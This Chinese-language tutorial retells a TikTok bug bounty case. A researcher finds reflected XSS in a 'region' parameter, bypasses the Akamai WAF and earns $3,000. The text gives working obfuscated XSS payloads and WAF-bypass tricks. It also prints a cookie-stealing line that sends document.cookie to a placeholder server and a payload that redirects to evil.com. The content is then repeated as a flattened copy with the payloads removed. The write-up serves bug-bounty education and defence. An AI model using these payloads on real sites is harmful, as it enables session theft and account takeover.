错过游戏时光,意外在 TikTok 赚取 3000 美元的故事
字数 1652 2025-08-30 06:50:27

TikTok漏洞挖掘实战:从XSS绕过到3000美元赏金

前言

本教学文档详细解析一位白帽黑客在TikTok漏洞赏金项目中发现XSS漏洞并成功绕过WAF的全过程,最终获得3000美元赏金的实战案例。文档将分步骤还原整个漏洞挖掘流程,包含技术细节、绕过技巧和Payload构造方法。

1. 前期侦察

1.1 目标发现

  • 使用urlscan.io扫描TikTok域名相关端点
  • 获取约1万个URL的庞大列表
  • 手动浏览发现可疑端点:活动分享功能路径下带有多个参数的URL

1.2 初步测试

  • 测试region参数是否存在XSS漏洞
  • 初始无害Payload测试:?region=id'"><u>testest</u>
  • 发现无任何过滤和编码,存在反射可能性

2. WAF识别与初步绕过尝试

2.1 WAF识别

  • 使用经典XSS Payload测试:">
  • 被Akamai WAF拦截(TikTok使用的WAF解决方案)

2.2 绕过技术研究

研究Akamai WAF绕过技术,重点关注:

  • 字符串混淆
  • 大小写敏感性
  • 标签规避技术

2.3 初步绕过尝试

尝试多种Payload变体:

  1. </ScRiPt> → 被拦截
  2. </SCRIPT> → 被拦截
  3. </ScRpt> → 未拦截但不可用
  4. </Script+xxx> → 短暂绕过,但最终被过滤

3. Payload进化与成功绕过

3.1 有效绕过字符串

发现有效绕过字符串:

}<x>xxx<Script+xxx></script%20x></x><x>xxx<
  • 成功绕过WAF过滤
  • alert()confirm()prompt()在运行时仍被阻止

3.2 初步提交策略

  • 先提交漏洞,使用开放重定向作为PoC
  • 两天后收到HackerOne回复:开放重定向不在漏洞范围内,建议提升为XSS或Cookie窃取

4. 制作有效XSS Payload

4.1 绕过alert限制

由于直接alert()被拦截,采用混淆访问方式:

  • 使用字符串拼接:window['al'+'ert']
  • 添加注释混淆:window/*xxx*/

完整Payload:

<x>xxx<Script+xxx><script%20x>window/*xxx*/['al'%2b'ert'](1);//</script%20x></x><x>xxx<
  • 成功触发XSS

4.2 漏洞评级提升

HackerOne反馈:仅alert弹窗算低危漏洞,建议改进PoC提升等级

4.3 实现Cookie窃取

构造窃取Cookie的Payload:

window/*xxx*/['loca' + 'tion'] = 'http://<your-server>?cookie=' + document/*xxx*/['coo' + 'kie'];

完整高级Payload:

}<x>xxx<Script+xxx><Script+xxx>Object.prototype.BOOMR = 1;Object.prototype.url = 'https://portswigger-labs.net/xss/xss.js';location.replace('https://evil.com');</script%20x></x><x>xxx<
  • 确认有效XSS
  • 一天后获得1000美元赏金

5. 漏洞扩展与总收益

  • 在同一路径中发现更多具有相同漏洞的端点
  • 共发现三个漏洞端点
  • 总赏金:3000美元

6. 关键技术与技巧总结

6.1 WAF绕过技巧

  1. 标签混淆:使用非标准标签如<Script+xxx>
  2. 大小写变异:混合大小写如</ScRiPt>
  3. 字符串拼接'al'+'ert'代替alert
  4. 注释混淆window/*xxx*/插入无关注释
  5. 特殊字符利用%20代替空格

6.2 Payload构造原则

  1. 分阶段测试,从简单到复杂
  2. 使用无害Payload确认基本漏洞
  3. 逐步增加功能,避免一次性触发过多防护
  4. 利用字符串拼接绕过关键字检测
  5. 添加冗余字符增加混淆度

6.3 漏洞报告策略

  1. 初始提交保持简单,证明漏洞存在
  2. 根据平台反馈逐步提升PoC复杂度
  3. 从反射XSS升级到Cookie窃取提升漏洞等级
  4. 发现同类漏洞后批量报告

7. 防御建议

针对此类漏洞,防御措施应包括:

  1. 对所有用户输入进行严格过滤和编码
  2. 实施内容安全策略(CSP)
  3. 对输出上下文敏感的编码
  4. 定期更新WAF规则
  5. 对敏感操作实施二次验证

8. 参考资源

通过本案例,我们学习了从目标发现到最终获得高额赏金的完整漏洞挖掘流程,特别是针对严格WAF环境的XSS绕过技术。这种分阶段、逐步升级的测试方法值得在类似场景中应用。

TikTok漏洞挖掘实战:从XSS绕过到3000美元赏金 前言 本教学文档详细解析一位白帽黑客在TikTok漏洞赏金项目中发现XSS漏洞并成功绕过WAF的全过程,最终获得3000美元赏金的实战案例。文档将分步骤还原整个漏洞挖掘流程,包含技术细节、绕过技巧和Payload构造方法。 1. 前期侦察 1.1 目标发现 使用urlscan.io扫描TikTok域名相关端点 获取约1万个URL的庞大列表 手动浏览发现可疑端点:活动分享功能路径下带有多个参数的URL 1.2 初步测试 测试 region 参数是否存在XSS漏洞 初始无害Payload测试: ?region=id'"><u>testest</u> 发现无任何过滤和编码,存在反射可能性 2. WAF识别与初步绕过尝试 2.1 WAF识别 使用经典XSS Payload测试: "> 被Akamai WAF拦截(TikTok使用的WAF解决方案) 2.2 绕过技术研究 研究Akamai WAF绕过技术,重点关注: 字符串混淆 大小写敏感性 标签规避技术 2.3 初步绕过尝试 尝试多种Payload变体: </ScRiPt> → 被拦截 </SCRIPT> → 被拦截 </ScRpt> → 未拦截但不可用 </Script+xxx> → 短暂绕过,但最终被过滤 3. Payload进化与成功绕过 3.1 有效绕过字符串 发现有效绕过字符串: 成功绕过WAF过滤 但 alert() 、 confirm() 和 prompt() 在运行时仍被阻止 3.2 初步提交策略 先提交漏洞,使用开放重定向作为PoC 两天后收到HackerOne回复:开放重定向不在漏洞范围内,建议提升为XSS或Cookie窃取 4. 制作有效XSS Payload 4.1 绕过alert限制 由于直接 alert() 被拦截,采用混淆访问方式: 使用字符串拼接: window['al'+'ert'] 添加注释混淆: window/*xxx*/ 完整Payload: 成功触发XSS 4.2 漏洞评级提升 HackerOne反馈:仅alert弹窗算低危漏洞,建议改进PoC提升等级 4.3 实现Cookie窃取 构造窃取Cookie的Payload: 完整高级Payload: 确认有效XSS 一天后获得1000美元赏金 5. 漏洞扩展与总收益 在同一路径中发现更多具有相同漏洞的端点 共发现三个漏洞端点 总赏金:3000美元 6. 关键技术与技巧总结 6.1 WAF绕过技巧 标签混淆 :使用非标准标签如 <Script+xxx> 大小写变异 :混合大小写如 </ScRiPt> 字符串拼接 : 'al'+'ert' 代替 alert 注释混淆 : window/*xxx*/ 插入无关注释 特殊字符利用 : %20 代替空格 6.2 Payload构造原则 分阶段测试,从简单到复杂 使用无害Payload确认基本漏洞 逐步增加功能,避免一次性触发过多防护 利用字符串拼接绕过关键字检测 添加冗余字符增加混淆度 6.3 漏洞报告策略 初始提交保持简单,证明漏洞存在 根据平台反馈逐步提升PoC复杂度 从反射XSS升级到Cookie窃取提升漏洞等级 发现同类漏洞后批量报告 7. 防御建议 针对此类漏洞,防御措施应包括: 对所有用户输入进行严格过滤和编码 实施内容安全策略(CSP) 对输出上下文敏感的编码 定期更新WAF规则 对敏感操作实施二次验证 8. 参考资源 原文: No Gaming Just Hacking: How I Made $3k on TikTok Bug Bounty Program urlscan.io:用于初始侦察 Akamai WAF绕过技术研究资料 通过本案例,我们学习了从目标发现到最终获得高额赏金的完整漏洞挖掘流程,特别是针对严格WAF环境的XSS绕过技术。这种分阶段、逐步升级的测试方法值得在类似场景中应用。